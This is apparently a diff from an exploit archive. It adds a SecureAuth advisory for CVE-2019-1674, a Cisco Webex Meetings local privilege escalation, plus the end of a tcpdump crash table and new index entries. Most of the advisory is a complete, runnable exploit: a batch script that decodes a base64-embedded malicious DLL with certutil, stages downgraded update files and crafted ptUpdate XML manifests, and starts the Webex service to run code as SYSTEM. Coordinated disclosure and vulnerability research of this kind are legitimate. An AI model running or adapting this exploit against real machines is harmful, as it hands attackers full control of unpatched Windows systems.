| 5ef0457a44194a7e0fb1f1fa9c2d538c | #0 0x744b26 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x74ff59 in ikev1_n_print tcpdump/./print-isakmp.c:1766:4 |
|
||||
| 6535c4a7b0942711db1a5570bf428576 | #0 0x729f56 in EXTRACT_BE_U_2 tcpdump/./extract.h:86:26 |
|
||||
| | #1 0x72835f in icmp_print tcpdump/./print-icmp.c:573:25 |
|
||||
| 6d3d893a2bc2d8d50cd9386737f1a3f1 | #0 0x773fb6 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x774881 in lmp_print_data_link_subobjs tcpdump/./print-lmp.c:403:13 |
|
||||
| 7efd0ef3a3602ffba4d429f2beaf8489 | #0 0x5d1486 in EXTRACT_BE_U_2 tcpdump/./extract.h:86:26 |
|
||||
| | #1 0x5d3ab7 in ospf6_print_lshdr tcpdump/./print-ospf6.c:394:2 |
|
||||
| 8e933ef7fdb3b248cffd2cc432ddfe0e | #0 0x5d1486 in EXTRACT_BE_U_2 tcpdump/./extract.h:86:26 |
|
||||
| | #1 0x5d3ab7 in ospf6_print_lshdr tcpdump/./print-ospf6.c:394:2 |
|
||||
| 9a16cc309f6e8c57587f6cfc19ad15e0 | #0 0x773fb6 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x774881 in lmp_print_data_link_subobjs tcpdump/./print-lmp.c:403:13 |
|
||||
| ab10aa7f73ff686440d2d40a174bf801 | #0 0x651a86 in EXTRACT_BE_U_2 tcpdump/./extract.h:86:26 |
|
||||
| | #1 0x651264 in vrrp_print tcpdump/./print-vrrp.c:155:5 |
|
||||
| b388f74a9f892fb85d750dd0e32efce1 | #0 0x60d676 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x60ad3a in rsvp_obj_print tcpdump/./print-rsvp.c:1581:17 |
|
||||
| d203c6b47e3cbdf814ad3769589b3628 | #0 0x4bdf60 in __asan_memcpy (tcpdump/tcpdump+0x4bdf60) |
|
||||
| | #1 0x682088 in ip6addr_string tcpdump/./addrtoname.c:359:2 |
|
||||
| ec26a95bd915adce3527d4e8152eea84 | #0 0x7ba077 in EXTRACT_BE_U_8 tcpdump/./extract.h:111:20 |
|
||||
| | #1 0x7b97f5 in print_attr_vector64 tcpdump/./print-radius.c:1046:17 |
|
||||
| f7fc9a6bc515585b470f8b9c2d2729d7 | #0 0x651a86 in EXTRACT_BE_U_2 tcpdump/./extract.h:86:26 |
|
||||
| | #1 0x650f19 in vrrp_print tcpdump/./print-vrrp.c:147:5 |
|
||||
+----------------------------------+-------------------------------------------------------------------------+
|
||||
|
||||
Attached is a ZIP archive containing up to three input samples per each crash, together with the corresponding ASAN logs.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46476.zip
|
456
exploits/windows/local/46479.txt
Normal file
456
exploits/windows/local/46479.txt
Normal file
|
@ -0,0 +1,456 @@
|
|||
SecureAuth - SecureAuth Labs Advisory
|
||||
http://www.secureauth.com/
|
||||
|
||||
Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2
|
||||
|
||||
1. *Advisory Information*
|
||||
|
||||
Title: Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2
|
||||
Advisory ID: CORE-2018-0012
|
||||
Advisory URL:
|
||||
http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability-version-2
|
||||
Date published: 2019-02-27
|
||||
Date of last update: 2019-02-27
|
||||
Vendors contacted: Cisco
|
||||
Release mode: Coordinated release
|
||||
|
||||
2. *Vulnerability Information*
|
||||
|
||||
Class: OS command injection [CWE-78]
|
||||
Impact: Code execution
|
||||
Remotely Exploitable: No
|
||||
Locally Exploitable: Yes
|
||||
CVE Name: CVE-2019-1674
|
||||
|
||||
3. *Vulnerability Description*
|
||||
|
||||
Cisco's Webex Meetings website states that [1]:
|
||||
|
||||
Cisco Webex Meetings: Simply the Best Video Conferencing and Online
|
||||
Meetings.
|
||||
With Cisco Webex Meetings, joining is a breeze, audio and video are
|
||||
clear, and screen sharing is
|
||||
easier than ever. We help you forget about the technology, to focus on
|
||||
what matters.
|
||||
|
||||
A vulnerability in the update service of Cisco Webex Meetings Desktop
|
||||
App for Windows could allow
|
||||
a local attacker to elevate privileges.
|
||||
|
||||
4. *Vulnerable Packages*
|
||||
|
||||
. Cisco Webex Meetings Desktop App v33.6.4.15
|
||||
. Cisco Webex Meetings Desktop App v33.6.5.2
|
||||
. Cisco Webex Meetings Desktop App v33.7.0.694
|
||||
. Cisco Webex Meetings Desktop App v33.7.1.15
|
||||
. Cisco Webex Meetings Desktop App v33.7.2.24
|
||||
. Cisco Webex Meetings Desktop App v33.7.3.7
|
||||
. Cisco Webex Meetings Desktop App v33.8.0.779
|
||||
. Cisco Webex Meetings Desktop App v33.8.1.13
|
||||
. Cisco Webex Meetings Desktop App v33.8.2.7
|
||||
. Older versions are probably affected too, but they were
|
||||
not checked.
|
||||
|
||||
5. *Vendor Information, Solutions and Workarounds*
|
||||
|
||||
Cisco informed that released the vulnerability is fixed in Cisco Webex
|
||||
Meetings Desktop App releases 33.6.6 and 33.9.1.
|
||||
|
||||
In addition, Cisco published the following advisory:
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-wmda-cmdinj
|
||||
|
||||
6. *Credits*
|
||||
|
||||
This vulnerability was discovered and researched by Marcos Accossatto
|
||||
from SecureAuth. The publication of this advisory was coordinated by
|
||||
Leandro Cuozzo from SecureAuth Advisories Team.
|
||||
|
||||
7. *Technical Description / Proof of Concept Code*
|
||||
|
||||
7.1. *Privilege Escalation*
|
||||
|
||||
[CVE-2019-1674]
|
||||
The update service of Cisco Webex Meetings Desktop App for Windows does
|
||||
not properly validate version numbers of new files. An unprivileged
|
||||
local attacker could exploit this vulnerability by invoking the update
|
||||
service command with a crafted argument and folder. This will allow the
|
||||
attacker to run arbitrary commands with SYSTEM user privileges.
|
||||
|
||||
The vulnerability can be exploited by copying to a local attacker
|
||||
controller folder, the atgpcdec.dll binary and rename it as atgpcdec.7z.
|
||||
Then, a previous version of the ptUpdate.exe file must be compressed as
|
||||
7z and copied to the controller folder. Also, a malicious dll must be
|
||||
placed in the same folder, named vcruntime140.dll and compressed as
|
||||
vcruntime140.7z. Finally, a ptUpdate.xml file must be provided in the
|
||||
controller folder for the update binary (ptUpdate.exe) to treat our
|
||||
files as a normal update. To gain privileges, the attacker must start
|
||||
the service with the command line:
|
||||
sc start webexservice WebexService 1 989898 "attacker-controlled-path"
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
The following proof of concept performs a 2 step attack, since starting
|
||||
from version 33.8.X, the application enforces the checking of signatures
|
||||
for all the downloaded binaries. This 2 step attack works against all
|
||||
the mentioned vulnerable packages. Notice that you'll need the previous
|
||||
versions of the ptUpdate.exe executable. Those versions are:
|
||||
3307.1.1811.1500 for the first step and 3306.4.1811.1600 for the last
|
||||
step. To exploit version priot to 33.8.X, only one step is required
|
||||
(the last step in this PoC).
|
||||
|
||||
Batch file:
|
||||
/-----
|
||||
@echo off
|
||||
REM Contents of PoC.bat
|
||||
REM
|
||||
REM This batch file will exploit CVE-2019-1674
|
||||
REM
|
||||
REM First, it will copy the atgpcdec.dll file from the installation
|
||||
REM folder to the current folder as atgpcdec.7z. Then, it will backup
|
||||
REM ptUpdate.exe and vcruntime140.dll files from the installation folder
|
||||
REM in the current folder, adding .bak to their names. Keep in mind that
|
||||
REM those files will be replaced (especially, vcruntime140.dll) and if
|
||||
REM not restored, will render the application useless.
|
||||
REM
|
||||
REM The executable ptUpdate.exe version 3307.1.1811.1500 must be
|
||||
REM compressed as ptUpdate0.7z and present in the current folder.
|
||||
REM The executable ptUpdate.exe version 3306.4.1811.1600 must be
|
||||
REM compressed as ptUpdate1.7z and present in the current folder.
|
||||
REM Both can be generated using 7zip GUI and compressing as 7z, with
|
||||
REM normal compression level and LZMA compression method.
|
||||
REM Another way is to compress both files using the command line app:
|
||||
REM
|
||||
REM 7z.exe a ptUpdate0.7z ptUpdate.exe -m0=BCJ -m1=LZMA:d=21
|
||||
REM
|
||||
REM ptUpdate0.xml file will be used in the first stage of the attack. It
|
||||
REM will be renamed to ptUpdate.xml. Make sure to check and adjust (if
|
||||
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
|
||||
REM ptUpdate0.7z ones. ptUpdate0.7z will be renamed to ptUpdate.7z. Then
|
||||
REM the update service will be started.
|
||||
REM
|
||||
REM The batch will wait until the process (ptUpdate.exe) finishes
|
||||
REM
|
||||
REM After the first stage is completeted, it will rename ptUpdate.7z
|
||||
REM back to ptUpdate0.7z, and ptUpdate.xml to ptUpdate0.xml.
|
||||
REM
|
||||
REM Now, ptUpdate1.xml file will be used in the second stage of the
|
||||
REM attack. It will be renamed to ptUpdate.xml. Also, ptUpdate1.7z will
|
||||
REM be renamed to ptUpdate.7z. Remember to check and adjust (if
|
||||
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
|
||||
REM ptUpdate1.7z ones. Out "malicious" DLL will be generated using
|
||||
REM certutil.exe and named vcruntime140.7z. It's a simple dll that will
|
||||
REM execute notepad.exe on load and that has the same exported functions
|
||||
REM as the original. The update service will be started again.
|
||||
REM
|
||||
REM The batch will wait until the process (ptUpdate.exe) finishes
|
||||
REM
|
||||
REM Once finished, it will print that the attack is done and wait for a
|
||||
REM key press. You should see a notepad.exe (2, in fact) with SYSTEM
|
||||
REM user privileges running.
|
||||
REM
|
||||
REM After a key is pressed, the batch will finish removing atgpcdec.7z
|
||||
REM and vcruntime140.7z. Also it will rename ptUpdate.7z back to
|
||||
REM ptUpdate1.7z, and ptUpdate.xml to ptUpdate1.xml.
|
||||
|
||||
|
||||
:CheckOS
|
||||
IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT)
|
||||
|
||||
:64BIT
|
||||
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
|
||||
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe"
|
||||
ptUpdate.exe.bak
|
||||
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\vcruntime140.dll"
|
||||
vcruntime140.dll.bak
|
||||
GOTO END
|
||||
|
||||
:32BIT
|
||||
copy "%PROGRAMFILES%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
|
||||
copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak
|
||||
copy "%PROGRAMFILES%\Webex\Webex\Applications\vcruntime140.dll"
|
||||
vcruntime140.dll.bak
|
||||
GOTO END
|
||||
|
||||
:END
|
||||
|
||||
ren ptUpdate0.xml ptUpdate.xml
|
||||
ren ptUpdate0.7z ptUpdate.7z
|
||||
SET mypath=%~dp0
|
||||
sc start webexservice WebexService 1 989898 %mypath:~0,-1%
|
||||
|
||||
ECHO Waiting 3 seconds until ptUpdate.exe starts
|
||||
Timeout /T 3 /Nobreak
|
||||
|
||||
:LOOP1
|
||||
tasklist | find /i "ptUpdate" >nul 2>&1
|
||||
IF ERRORLEVEL 1 (
|
||||
GOTO CONTINUE1
|
||||
) ELSE (
|
||||
ECHO ptUpdate.exe is still running
|
||||
Timeout /T 1 /Nobreak
|
||||
GOTO LOOP1
|
||||
)
|
||||
|
||||
:CONTINUE1
|
||||
|
||||
ren ptUpdate.xml ptUpdate0.xml
|
||||
ren ptUpdate.7z ptUpdate0.7z
|
||||
ren ptUpdate1.xml ptUpdate.xml
|
||||
ren ptUpdate1.7z ptUpdate.7z
|
||||
|
||||
echo
|
||||
N3q8ryccAARIz/fVRwYAAAAAAAB6AAAAAAAAANcfWYEAJpaOcAAX9+wFu+r0/5QBL0TuTr0Jkm3dgTnz3Weoe6NfFfEa/Y28zsBB2HEdPWzlugty+IIM4hglhy/h80OeyYw5CMe7jUK77wLPQMC9wwpT+oLYVDSuOK/v2WNuOLCpU3qtGSO+2sIFpGixpKQvLykpGOZUMczuRNNr/8Ps1lApsqe0ERm7gPGyiMqJBOCOVTC85lKIa2Cmc
|
||||
> dll.txt
|
||||
echo
|
||||
scrjgqKPPNmbXvscJWxmvv4NtC3mLQ1KuXYBSZXmFp8dR+ZDy5znkGG/C3w0T76c4wRCfOk+/myji9luDzO2OOwp8wgpN1QeGsA4+kaZwKYTisIvPegsI2joDsLAomIh2ToXENtcOA9/11kkJy4ColEdqlXxwSW2u45ajuNDs0aAE9nbz4AWXtv/VPfc4fn3Q+mN7FTmaDUr8dxZ5V05IafOO2qTgdSHPemTasMSqYLbzA8iaxBZimokw
|
||||
>> dll.txt
|
||||
echo
|
||||
zyzr3fwZIci+Ewzq5BnNXk+lvA30xCUYdvQuMCGkxBozk9Ec0kQ/SUixz77Nc9SbJnm0Hncff3QRRlU9ciqc6cYkQ2Cm+/dWkyDgJU+sxT9VGV+WVwNK85Q6zpPWLeVRYtk9UkxKHF0aXf3l/OgfQqtz0WSR94AF+Z9AiblDy0zOreSW8PhFbu0hfAgY1pMNC5gPNJiJ3OGwT/cLEhBPusvpfcLP3V0BwXx04T+5R7d5Rw9xWExdfCzGb
|
||||
>> dll.txt
|
||||
echo
|
||||
Mgyijdf5nP7fv9e5V0KO8kKrGVofstVIN8FTQSMeRGYRdv9WyuLRFWbArCL86HMo5NYEwFinlqCGqnY8hZcDMPe89q1xoNlVDmDtLC+AZqEkPKuqStllzKH7qQDg7Ahe6AMtGjaT2NptL2bSBYlkfn+1iiMt5cC/inZAoZoreSpDbGb4HRcOVce7ZKeiBAFpEzM0bEXAxnbLNO0pHm0bYCftbOkffJap3m79V+Dj4t0NPgwbhYKUqk1Hi
|
||||
>> dll.txt
|
||||
echo
|
||||
/9ebVE+IIsUlFFggilCy7BmIh3MF3Gmuhr7QLK37zV72LA0/tuDXXTWP/0EJEQ3F/v1+hSj/+HMwUBFL8xsghBfOXTpmBG6cUxK2YOwXvs/ntja2a7SWwppxtWgr4n/pxEdeezoBGl1sTZ9aIwSlu1mMehS5RYoyiSKnQfgLMsIYLqjZtc2DjUdSZDutZgC91axMjIEQ8kDIBp8dbuX4MpzNYe65OrKG/u76aemvcQ/R1QAwgTopuWgqO
|
||||
>> dll.txt
|
||||
echo
|
||||
tJ7LIkRv406u+Qs2d5KA9+IplFV7ZL9w1zXTDTFqATROK0IKtY2MPaP5Ia0d0UFizj0I7OZSeDtZXPohMxi01xMLyqCXIQ4vaJGVneNi1SyxAJ2hV92+5sxBCOlQ+d4w19k6iJA/siz1+V0FnIrN6csCMaW6yBnR6H+jHpm2sqXf3xyU8UkCRx09LmD1lcSB3sWdc3AnoG2ijb7lD6eBdCH2OlMWceeAfOMRm48MfYW6+AcZJm9wEQ9p8
|
||||
>> dll.txt
|
||||
echo
|
||||
irxwCQuETvGMphqzbPxFJXErhoMTxlE57+/ZLBt8F/3XAaxQnmMucvSCFMYc6Z76OCbeotPfVnPhqL+torsEaph6DFzcw3dWuFrekbLnVVFKmM/QyeZVLS18u5lY1tGRyfAUCyhPIPJvUcXFKuDYHmdT/bOnF1B/xexvtY8boRhcKiNg4JBluTMbamdoktvfWvIVGUz2m50yA0dNN06yebHietxA+IwM0zfNbqpNWJjOItsi6/27j1mE7
|
||||
>> dll.txt
|
||||
echo
|
||||
WCgPS5tetN44WkYD28Bm+LmHwz4lbPVjAIcgZBv0OtAXJsWMUtN8Bc2z9+fVSqc7pCHGCRnYDyKm8QhcV8hU4I/M4hSN+BWYn2jGJqc42lcaMzfXrySCnF4dAtIiE1HzAwmwWAqjlVkZdFiIuQ1m+pdbx2Ipji5piYRAJtykwO0H5JThzAzJGObOMCAenaKgvgtwF97iFdBZHxuSz+3DcYF6gQupm/BxNd35l6qj19sN2qixeGJ7rQapV
|
||||
>> dll.txt
|
||||
echo
|
||||
DJLTM5KMPdSItBNJSLLp9fuObcufi/6MBif28vemivzaWtalocJxX/MJni8PfdLYn/rLJQXmpq4Qm7z6N7FlPLtelATkMAZZ2ofaLFeBvIKzymBqtsxQAb63b+MowQvOkGAesT5JNXhoRqzOoATB9I/O7xIZu30SZwWdW85DX2MNAeB/DgzLt/c7U9A2D5vIgAEEBgABCYZHAAcLAQACIwMBAQVdABgAAAQDAwEDAQAMmACYAAAICgGcR
|
||||
>> dll.txt
|
||||
echo
|
||||
dWGAAAFARkLAAAAAAAAAAAAAAARIwB2AGMAcgB1AG4AdABpAG0AZQAxADQAMAAuAGQAbABsAAAAGQAUCgEAkBJyInaL1AEVBgEAIAAAAAAA
|
||||
>> dll.txt
|
||||
certutil -decode dll.txt vcruntime140.7z
|
||||
|
||||
del dll.txt
|
||||
|
||||
SET mypath=%~dp0
|
||||
sc start webexservice WebexService 1 989898 %mypath:~0,-1%
|
||||
|
||||
ECHO Waiting 3 seconds until ptUpdate.exe starts
|
||||
Timeout /T 3 /Nobreak
|
||||
|
||||
:LOOP2
|
||||
tasklist | find /i "ptUpdate" >nul 2>&1
|
||||
IF ERRORLEVEL 1 (
|
||||
GOTO CONTINUE2
|
||||
) ELSE (
|
||||
ECHO ptUpdate.exe is still running
|
||||
Timeout /T 1 /Nobreak
|
||||
GOTO LOOP2
|
||||
)
|
||||
|
||||
:CONTINUE2
|
||||
|
||||
ECHO Attack done!
|
||||
pause
|
||||
|
||||
ren ptUpdate.xml ptUpdate1.xml
|
||||
ren ptUpdate.7z ptUpdate1.7z
|
||||
del atgpcdec.7z
|
||||
del vcruntime140.7z
|
||||
-----/
|
||||
|
||||
ptUpdate0.xml file:
|
||||
|
||||
/-----
|
||||
<?xml version="1.0"?>
|
||||
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
|
||||
xmlns:com="http://www.webex.com/schemas/2002/06/common"
|
||||
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
|
||||
<serv:header></serv:header>
|
||||
<serv:body>
|
||||
<serv:bodyContent xsi:type="use:getUpdateResponse"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<UpdateVersionNumber>33.8.3</UpdateVersionNumber>
|
||||
<BuildNumber>33.8.3-24</BuildNumber>
|
||||
<ExternalVersionNumber>33.8.3.24</ExternalVersionNumber>
|
||||
<GPCINI>self/gpc.php</GPCINI>
|
||||
<ReleaseDate>February 2017</ReleaseDate>
|
||||
<Description>WebEx Productivity Tools 33.8.3</Description>
|
||||
<MsiLocation>msi/ptools.msi</MsiLocation>
|
||||
<UpdateFormat>binary</UpdateFormat>
|
||||
<ReleaseTrain>T32</ReleaseTrain>
|
||||
<Location>$dummy/upgradeserver/client/ptool/33.8.3</Location>
|
||||
<ControlOption>0</ControlOption>
|
||||
<WBSVERSION>33</WBSVERSION>
|
||||
<Server>myCompany.webex.com</Server>
|
||||
<UserName>MCKSysAR@myCompany.com</UserName>
|
||||
<DownloadSize>22496333</DownloadSize>
|
||||
<VersionURL/>
|
||||
<FileInfo>
|
||||
<SectionName>Installation</SectionName>
|
||||
<PackedName>ptupdate.7z</PackedName>
|
||||
<PackedNameL10N>ptupdate.7z</PackedNameL10N>
|
||||
<OrigianlName>ptupdate.exe</OrigianlName>
|
||||
<Version>3307,1,1811,1500</Version>
|
||||
<Size>1985592</Size>
|
||||
<PackagedSize>610752</PackagedSize>
|
||||
<CheckMethod>1</CheckMethod>
|
||||
<CouldIgnore>1</CouldIgnore>
|
||||
<NeedDownLoad>1</NeedDownLoad>
|
||||
</FileInfo>
|
||||
<Tools>
|
||||
<UseEmailType/>
|
||||
<Outlook>0</Outlook>
|
||||
<Notes>0</Notes>
|
||||
<UseWebExWithOffice>1</UseWebExWithOffice>
|
||||
<Excel>0</Excel>
|
||||
<PowerPoint>0</PowerPoint>
|
||||
<Word>0</Word>
|
||||
<IEShortCut>1</IEShortCut>
|
||||
<IERightMenu>0</IERightMenu>
|
||||
<UseWebExWithIM>1</UseWebExWithIM>
|
||||
<AOL>0</AOL>
|
||||
<Sametime>0</Sametime>
|
||||
<WindowsMessenger>0</WindowsMessenger>
|
||||
<Yahoo>0</Yahoo>
|
||||
<Skype>0</Skype>
|
||||
<GoogleTalk>0</GoogleTalk>
|
||||
<Firefox/>
|
||||
<IPPhone>1</IPPhone>
|
||||
</Tools>
|
||||
</serv:bodyContent>
|
||||
</serv:body>
|
||||
</serv:message>
|
||||
-----/
|
||||
|
||||
ptUpdate1.xml file:
|
||||
|
||||
/-----
|
||||
<?xml version="1.0"?>
|
||||
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
|
||||
xmlns:com="http://www.webex.com/schemas/2002/06/common"
|
||||
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
|
||||
<serv:header>
|
||||
</serv:header>
|
||||
<serv:body>
|
||||
<serv:bodyContent xsi:type="use:getUpdateResponse"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<UpdateVersionNumber>33.8.4</UpdateVersionNumber>
|
||||
<BuildNumber>33.8.4-24</BuildNumber>
|
||||
<ExternalVersionNumber>33.8.4.24</ExternalVersionNumber>
|
||||
<GPCINI>self/gpc.php</GPCINI>
|
||||
<ReleaseDate>February 2017</ReleaseDate>
|
||||
<Description>WebEx Productivity Tools 33.8.4</Description>
|
||||
<MsiLocation>msi/ptools.msi</MsiLocation>
|
||||
<UpdateFormat>binary</UpdateFormat>
|
||||
<ReleaseTrain>T32</ReleaseTrain>
|
||||
<Location>$dummy/upgradeserver/client/ptool/33.8.4</Location>
|
||||
<ControlOption>0</ControlOption>
|
||||
<WBSVERSION>33</WBSVERSION>
|
||||
<Server>myCompany.webex.com</Server>
|
||||
<UserName>MCKSysAR@myCompany.com</UserName>
|
||||
<DownloadSize>22496333</DownloadSize>
|
||||
<VersionURL/>
|
||||
<FileInfo>
|
||||
<SectionName>Common</SectionName>
|
||||
<PackedName>vcruntime140.7z</PackedName>
|
||||
<PackedNameL10N>vcruntime140.7z</PackedNameL10N>
|
||||
<OrigianlName>vcruntime140.dll</OrigianlName>
|
||||
<Version>14,14,26405,0</Version>
|
||||
<Size>6144</Size>
|
||||
<PackagedSize>1761</PackagedSize>
|
||||
<CheckMethod>1</CheckMethod>
|
||||
<CouldIgnore>1</CouldIgnore>
|
||||
<NeedDownLoad>1</NeedDownLoad>
|
||||
</FileInfo>
|
||||
<FileInfo>
|
||||
<SectionName>Installation</SectionName>
|
||||
<PackedName>ptupdate.7z</PackedName>
|
||||
<PackedNameL10N>ptupdate.7z</PackedNameL10N>
|
||||
<OrigianlName>ptupdate.exe</OrigianlName>
|
||||
<Version>3306,4,1811,1600</Version>
|
||||
<Size>1992760</Size>
|
||||
<PackagedSize>611786</PackagedSize>
|
||||
<CheckMethod>1</CheckMethod>
|
||||
<CouldIgnore>1</CouldIgnore>
|
||||
<NeedDownLoad>1</NeedDownLoad>
|
||||
</FileInfo>
|
||||
<Tools>
|
||||
<UseEmailType/>
|
||||
<Outlook>0</Outlook>
|
||||
<Notes>0</Notes>
|
||||
<UseWebExWithOffice>1</UseWebExWithOffice>
|
||||
<Excel>0</Excel>
|
||||
<PowerPoint>0</PowerPoint>
|
||||
<Word>0</Word>
|
||||
<IEShortCut>1</IEShortCut>
|
||||
<IERightMenu>0</IERightMenu>
|
||||
<UseWebExWithIM>1</UseWebExWithIM>
|
||||
<AOL>0</AOL>
|
||||
<Sametime>0</Sametime>
|
||||
<WindowsMessenger>0</WindowsMessenger>
|
||||
<Yahoo>0</Yahoo>
|
||||
<Skype>0</Skype>
|
||||
<GoogleTalk>0</GoogleTalk>
|
||||
<Firefox/>
|
||||
<IPPhone>1</IPPhone>
|
||||
</Tools>
|
||||
</serv:bodyContent>
|
||||
</serv:body>
|
||||
</serv:message>
|
||||
-----/
|
||||
|
||||
8. *Report Timeline*
|
||||
2018-12-04: SecureAuth sent an initial notification to the Cisco PSIRT
|
||||
including a draft advisory.
|
||||
2018-12-05: Cisco confirmed the reception of the advisory and informed
|
||||
they will open a case.
|
||||
2018-12-07: Cisco replied that they were able to reproduce the
|
||||
vulnerability and they were working on a plan for the fix.
|
||||
2018-12-07: SecureAuth thanked the update.
|
||||
2018-12-10: Cisco notified SecureAuth that the general availability of
|
||||
the fix will be before end of February.
|
||||
2018-12-10: SecureAuth thanked the update.
|
||||
2019-01-15: SecureAuth asked Cisco for an update.
|
||||
2019-01-22: SecureAuth asked Cisco for an update again.
|
||||
2019-01-22: Cisco answered saying they were still targeting the end of
|
||||
February for the release of the fix.
|
||||
2019-02-11: Cisco confirmed 27th February as the disclosure date.
|
||||
2019-02-27: Advisory CORE-2018-0012 published.
|
||||
|
||||
9. *References*
|
||||
|
||||
[1] https://www.webex.com/products/video-conferencing.html
|
||||
|
||||
10. *About SecureAuth Labs*
|
||||
|
||||
SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
|
||||
with anticipating the future needs and requirements for information
|
||||
security technologies. We conduct research in several important areas of
|
||||
computer security, including identity-related attacks, system
|
||||
vulnerabilities and cyber-attack planning. Research includes problem
|
||||
formalization, identification of vulnerabilities, novel solutions and
|
||||
prototypes for new technologies. We regularly publish security
|
||||
advisories, primary research, technical publications, research blogs,
|
||||
project information, and shared software tools for public use at
|
||||
http://www.secureauth.com.
|
||||
|
||||
11. *About SecureAuth*
|
||||
|
||||
SecureAuth is leveraged by leading companies, their employees, their
|
||||
customers and their partners to eliminate identity-related breaches. As
|
||||
a leader in access management, SecureAuth is powering an identity
|
||||
security revolution by enabling people and devices to intelligently
|
||||
and adaptively access systems and data, while effectively keeping bad
|
||||
actors from doing harm. By ensuring the continuous assessment of risk
|
||||
and enablement of trust, SecureAuth's highly flexible platform makes it
|
||||
easier for organizations to prevent the misuse of credentials. To learn
|
||||
more, visit www.secureauth.com, call (949) 777-6959, or email us at
|
||||
info@secureauth.com
|
||||
|
||||
12. *Disclaimer*
|
||||
|
||||
The contents of this advisory are copyright (c) 2019 SecureAuth, and are
|
||||
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
|
||||
3.0 (United States) License:
|
||||
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
|
|
@ -5400,7 +5400,7 @@ id,file,description,date,author,type,platform,port
|
|||
41232,exploits/android/dos/41232.txt,"Google Android - 'rkp_set_init_page_ro' RKP Memory Corruption",2017-02-02,"Google Security Research",dos,android,
|
||||
41278,exploits/openbsd/dos/41278.txt,"OpenBSD HTTPd < 6.0 - Memory Exhaustion Denial of Service",2017-02-07,PierreKimSec,dos,openbsd,80
|
||||
41363,exploits/windows/dos/41363.txt,"Microsoft Windows - 'gdi32.dll' EMR_SETDIBITSTODEVICE Heap Out-of-Bounds Reads / Memory Disclosure",2017-02-15,"Google Security Research",dos,windows,
|
||||
41350,exploits/linux/dos/41350.c,"Linux Kernel 3.10.0 (CentOS7) - Denial of Service",2017-02-12,FarazPajohan,dos,linux,
|
||||
41350,exploits/linux/dos/41350.c,"Linux Kernel 3.10.0 (CentOS 7) - Denial of Service",2017-02-12,FarazPajohan,dos,linux,
|
||||
41351,exploits/android/dos/41351.txt,"LG G4 - lgdrmserver Binder Service Multiple Race Conditions",2017-02-14,"Google Security Research",dos,android,
|
||||
41352,exploits/android/dos/41352.txt,"LG G4 - lghashstorageserver Directory Traversal",2017-02-14,"Google Security Research",dos,android,
|
||||
41353,exploits/android/dos/41353.txt,"LG G4 - Touchscreen Driver write_log Kernel Read/Write",2017-02-14,"Google Security Research",dos,android,
|
||||
|
@ -6339,6 +6339,13 @@ id,file,description,date,author,type,platform,port
|
|||
46464,exploits/android/dos/46464.py,"FTP Server 1.32 - Denial of Service",2019-02-28,s4vitar,dos,android,
|
||||
46465,exploits/linux/dos/46465.txt,"WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service",2019-02-28,"Dhiraj Mishra",dos,linux,
|
||||
46470,exploits/windows/dos/46470.py,"TransMac 12.3 - Denial of Service (PoC)",2019-02-28,"Alejandra Sánchez",dos,windows,
|
||||
46472,exploits/multiple/dos/46472.txt,"Google Chrome < M72 - PaymentRequest Service Use-After-Free",2019-03-01,"Google Security Research",dos,multiple,
|
||||
46473,exploits/multiple/dos/46473.txt,"Google Chrome < M72 - RenderFrameHostImpl::CreateMediaStreamDispatcherHost Use-After-Free",2019-03-01,"Google Security Research",dos,multiple,
|
||||
46474,exploits/multiple/dos/46474.txt,"Google Chrome < M72 - Use-After-Free in RenderProcessHostImpl Binding for P2PSocketDispatcherHost",2019-03-01,"Google Security Research",dos,multiple,
|
||||
46475,exploits/multiple/dos/46475.txt,"Google Chrome < M72 - FileWriterImpl Use-After-Free",2019-03-01,"Google Security Research",dos,multiple,
|
||||
46476,exploits/multiple/dos/46476.txt,"tcpdump < 4.9.3 - Multiple Heap-Based Out-of-Bounds Reads",2019-03-01,"Google Security Research",dos,multiple,
|
||||
46477,exploits/linux/dos/46477.txt,"Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module",2019-03-01,"Google Security Research",dos,linux,
|
||||
46478,exploits/macos/dos/46478.txt,"macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image",2019-03-01,"Google Security Research",dos,macos,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
